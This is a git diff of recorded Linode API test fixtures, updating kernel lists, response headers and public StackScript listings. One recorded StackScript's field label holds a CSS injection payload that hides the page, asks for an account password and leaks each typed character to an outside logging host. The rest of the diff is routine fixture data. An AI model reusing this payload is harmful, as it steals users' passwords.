"built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", - "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", - "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", - "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": - "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", - "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 2, "pages": 4, "results": 322}' + "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -567,19 +571,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -590,7 +598,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -609,7 +617,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: - body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", + body: '{"data": [{"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", + "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", + "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": + "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", + "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", + "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", + "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": + "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", + "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": @@ -838,28 +866,8 @@ interactions: "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", - "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", - "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": - "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", - "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": - "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", - "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": - "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", - "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 3, "pages": 4, "results": 322}' + "page": 3, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -872,19 +880,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -895,7 +907,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -914,7 +926,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: - body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", + body: '{"data": [{"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 + ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", + "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": + "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", + "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": + "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", + "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": + "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", + "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": @@ -968,7 +1000,7 @@ interactions: "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, - "results": 322}' + "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -981,19 +1013,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -1004,7 +1040,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleListKernels_filtered.yaml b/test/integration/fixtures/ExampleListKernels_filtered.yaml index 452be0493..3183603d0 100644 --- a/test/integration/fixtures/ExampleListKernels_filtered.yaml +++ b/test/integration/fixtures/ExampleListKernels_filtered.yaml @@ -31,16 +31,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "253" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -56,7 +59,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleListKernels_page1.yaml b/test/integration/fixtures/ExampleListKernels_page1.yaml index 046d7a3ea..2c1366905 100644 --- a/test/integration/fixtures/ExampleListKernels_page1.yaml +++ b/test/integration/fixtures/ExampleListKernels_page1.yaml @@ -19,11 +19,31 @@ interactions: true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", - "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", + "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": + "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", + "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": + "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", + "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": + "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", + "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": + "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", + "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", @@ -242,27 +262,7 @@ interactions: "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode113", - "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": - "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", - "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": - "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", - "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": - "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", - "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": - "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' + true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -275,19 +275,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -298,7 +302,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleListLongviewSubscriptions_page1.yaml b/test/integration/fixtures/ExampleListLongviewSubscriptions_page1.yaml index 3b9fb0361..970704c93 100644 --- a/test/integration/fixtures/ExampleListLongviewSubscriptions_page1.yaml +++ b/test/integration/fixtures/ExampleListLongviewSubscriptions_page1.yaml @@ -33,16 +33,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -58,7 +61,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleListStackscripts_page1.yaml b/test/integration/fixtures/ExampleListStackscripts_page1.yaml index 1bcaed3c6..15454ba07 100644 --- a/test/integration/fixtures/ExampleListStackscripts_page1.yaml +++ b/test/integration/fixtures/ExampleListStackscripts_page1.yaml @@ -258,7 +258,7 @@ interactions: \"You can now configure BIGACE and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 84996, "username": - "tkelso", "user_gravatar_id": "a94e5434345409282c17b253f3d2a72d", "label": "Library_Bash", + "tkelso", "user_gravatar_id": "2c62e010d29d49a6d80959d24e5c4bb0", "label": "Library_Bash", "description": "Bash Library for StackScripts\r\n** FUNCTIONS ONLY **", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", "linode/debian8", "linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": @@ -754,63 +754,19 @@ interactions: restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction randomString {\n if [ ! -n \"$1\" ];\n then LEN=20\n else LEN=\"$1\"\n fi\n\n echo $(\n\n# \n\n# ", "user_defined_fields": [{"name": "password", "label": "password", "example": "Please enter you account password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//", - "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 1177605, - "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", - "label": "Illa Builder One-Click", "description": "Illa Builder One-Click App", - "ordinal": 44, "logo_url": "assets/illabuilder.svg", "images": ["linode/ubuntu22.04"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "", "script": "#!/bin/bash\n#\n# \n\n## Enable logging \nexec > >(tee - /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n# Apt update/upgrade\napt update\napt - upgrade -y\n\n# Install the dependencies & add Docker to the APT repository\napt - install -y apt-transport-https ca-certificates curl software-properties-common - gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | - apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu - focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n# - Check to ensure Docker is running and installed correctly\nsystemctl status - docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n# - Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod - 0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\". - and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder - \\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e - PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE - \\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho - \"\n********************************************************************************\nWelcome - to ILLA Builder!\n********************************************************************************\n # - Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n # - Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"", - "user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example": - "Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres - Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 2822, "username": "smartjones", - "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": "Smartweb", - "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], + "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 2822, "username": + "smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": + "Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#.\n#\n# My ref: http://www.linode.com/?r=aadfce9845055011e00f0c6c9a5c01158c452deb\n\nfunction + {"id": 1280267, "username": "andrewmohawk", "user_gravatar_id": "c4a1738bcfba73859d7582676372dc1c", + "label": "thisisjustatest", "description": "test", "ordinal": 0, "logo_url": + "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": + 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\necho \"Hello + world\"", "user_defined_fields": []}, {"id": 73228, "username": "rizerapp", + "user_gravatar_id": "dc70e4f46019425154b0a652de0657da", "label": "lib-system-ubuntu", + "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", + "linode/ubuntu16.04lts", "linode/ubuntu16.10"], "deployments_total": 0, "deployments_active": + 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n# + System related utilities\n#\n# Copyright (c) 2010 Filip Wasilewski .\n#\n# + My ref: http://www.linode.com/?r=aadfce9845055011e00f0c6c9a5c01158c452deb\n\nfunction lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction system_update {\n apt-get update && apt-get upgrade -y\n}\n\nfunction system_add_user {\n # system_add_user(username, password, groups, shell=/bin/bash)\n USERNAME=`lower @@ -1664,14 +1610,44 @@ interactions: \"Congratulations, SVNManager has been successfully installed\"\necho \" \"\necho \"You can now configure SVNManager and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9230, "username": - "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Vty - powered by Webuzo", "description": "Vty is a web-based database manager script - written with Php. It''s for Mysql.\r\n\r\nYou can connect to Mysql and see and - edit your databases and tables. \r\n\t\t\t\r\nWebuzo is a Single User Control - Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or - System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines - or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath + Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193741, "username": + "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": + "MySQL", "description": "Install MySQL or MariaDB to a Linode. Can also be used + as a library for other StackScripts.", "ordinal": 0, "logo_url": "", "images": + ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"], + "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": + false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": + "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nMySQL StackScript\n\t\n\tAuthor: + Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- + ss://linode/python-library \n\nThis StackScript + both deploys and provides a library for MySQL. The functions \nin this StackScript + are designed to be run across the Linode Core Distributions:\n\t- Ubuntu\n\t- + CentOS\n\t- Debian\n\t- Fedora\n\nStackScript User Defined Variables:\n\n\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\n\ntry: # we''ll need + to rename included StackScripts before we can import them\n\tos.rename(\"/root/ssinclude-3\", + \"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport pythonlib\n\n\ndef mysql_install(root_pw + = False, db_name = False):\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add + logging support\n\n\tpackage = {\n\t\t''debian'': ''mysql'',\n\t\t''redhat'': + ''mariadb''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']] + +\n\t\"-server\")\n\t\n\tmysql_start()\n\n\t# if provided with a root password, + set it\n\tif root_pw :\n\t\tsubprocess.call([''mysqladmin'', ''-u'', ''root'', + ''password'', root_pw])\n\t\n\t# if a database name was provided, let''s create + it\n\tif db_name :\n\t\tsubprocess.call(''mysql -uroot -p'' + root_pw + '' -e + \"create database '' + db_name + ''\"'', shell=True)\n\n\ndef mysql_start():\n\t\"\"\"Start + MariaDB on CentOS and Fedora\"\"\"\n\n\tif pythonlib.distro[''family''] == + \"redhat\":\n\t\tsubprocess.call([''systemctl'', ''start'', ''mariadb.service''])\n\n\ndef + main():\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\n\tif + os.environ[''DB_ROOT_PASSWORD''] != \"\":\n\t\tmysql_install(os.environ[''DB_ROOT_PASSWORD''])\n\telse:\n\t\tmysql_install()\n\n\tpythonlib.end()\n\n\nif + __name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": [{"name": + "db_root_password", "label": "MySQL/MariaDB root password", "default": ""}]}, + {"id": 9230, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", + "label": "Vty powered by Webuzo", "description": "Vty is a web-based database + manager script written with Php. It''s for Mysql.\r\n\r\nYou can connect to + Mysql and see and edit your databases and tables. \r\n\t\t\t\r\nWebuzo is a + Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, + Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their + virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Vty and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": @@ -1934,18 +1910,96 @@ interactions: \"Congratulations, WideImage has been successfully installed\"\necho \" \"\necho \"You can now configure WideImage and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9237, "username": - "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "HelpDEZk - powered by 